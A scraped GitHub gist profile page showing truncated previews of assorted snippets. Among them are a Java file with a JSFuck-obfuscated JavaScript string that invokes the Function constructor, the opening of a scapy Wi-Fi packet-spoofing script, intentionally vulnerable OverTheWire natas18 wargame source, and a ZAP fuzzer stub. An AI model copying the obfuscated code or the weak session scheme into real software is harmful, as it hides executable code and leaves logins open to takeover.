Skip to content

Instantly share code, notes, and snippets.

View haliliceylan's full-sized avatar
👋
Avaliable

Halil İbrahim ceylan haliliceylan

👋
Avaliable
  • Universiteit Antwerpen
  • Belgium
  • 15:09 (UTC +02:00)
View GitHub Profile

Using Git to Manage a Live Web Site

###Overview

As a freelancer, I build a lot of web sites. That's a lot of code changes to track. Thankfully, a Git-enabled workflow with proper branching makes short work of project tracking. I can easily see development features in branches as well as a snapshot of the sites' production code. A nice addition to that workflow is that ability to use Git to push updates to any of the various sites I work on while committing changes.

####Contents

package altkume;
/**
*
* @author halil
*/
public class AltKume {
/**
* @param args the command line arguments
({}+[])[!![]+![]+![]+![]+![]+![]+![]+![]+![]+!![]]+([][[]]+[])[!![]+!![]+!![]+!![]+!![]+![]+![]]+'z'+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([]
@haliliceylan
haliliceylan / scapy.py
Created January 7, 2018 10:30
spoof wifi tcp packet html post eith scapy
#!/usr/bin/python
from scapy.all import *
import os
iface = None
target_ap = None
target_aps_bssids = []
target_aps_channels = []
target_clients = []
@haliliceylan
haliliceylan / FixtureAlgorithm.java
Last active January 12, 2018 13:40
Fixture Algorithm in Java, you can try online on compilejava.net with argument
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;
import java.util.logging.Level;
import java.util.logging.Logger;
/**
*
* @github haliliceylan
$('#player-datatable').DataTable( {
"scrollX": true,
"autoWidth": false,
"language": {
"decimal": "",
"emptyTable": "Bu tablo için kullanılabilir veri yok.",
"info": "_TOTAL_ kayıttan _START_ ile _END_ arası kayıt gösteriliyor.",
"infoEmpty": "0 kayıttan 0 kayıt gösteriliyor.",
"infoFiltered": "(_MAX_ veriden filtrelendi.)",
@haliliceylan
haliliceylan / natas18.html
Created February 3, 2018 08:41
NATAS 18 Source Code
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas18", "pass": "<censored>" };</script></head>
<?php
$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
@haliliceylan
haliliceylan / a.js
Last active February 14, 2018 14:24
SS64 get all commands with javascript
HTMLCollection.prototype.yazdirkardesim = function(){
txt=""
for(x=0;this.length>x;x++){
txt += this[x].innerText + "\n"
}
console.log(btoa(txt));
}
document.getElementsByTagName("a").yazdirkardesim()
* Called after receiving the fuzzed message from the server.
*
* @param {HttpFuzzerTaskProcessorUtils} utils - A utility object that contains functions that ease common tasks.
* @param {HttpFuzzResult} fuzzResult - The result of sending the fuzzed message.
* @return {boolean} Whether the result should be accepted, or discarded and not shown.
*/
function processResult(utils, fuzzResult){
// All the above 'utils' functions are available plus:
// To raise an alert:
// utils.raiseAlert(risk, confidence, name, description)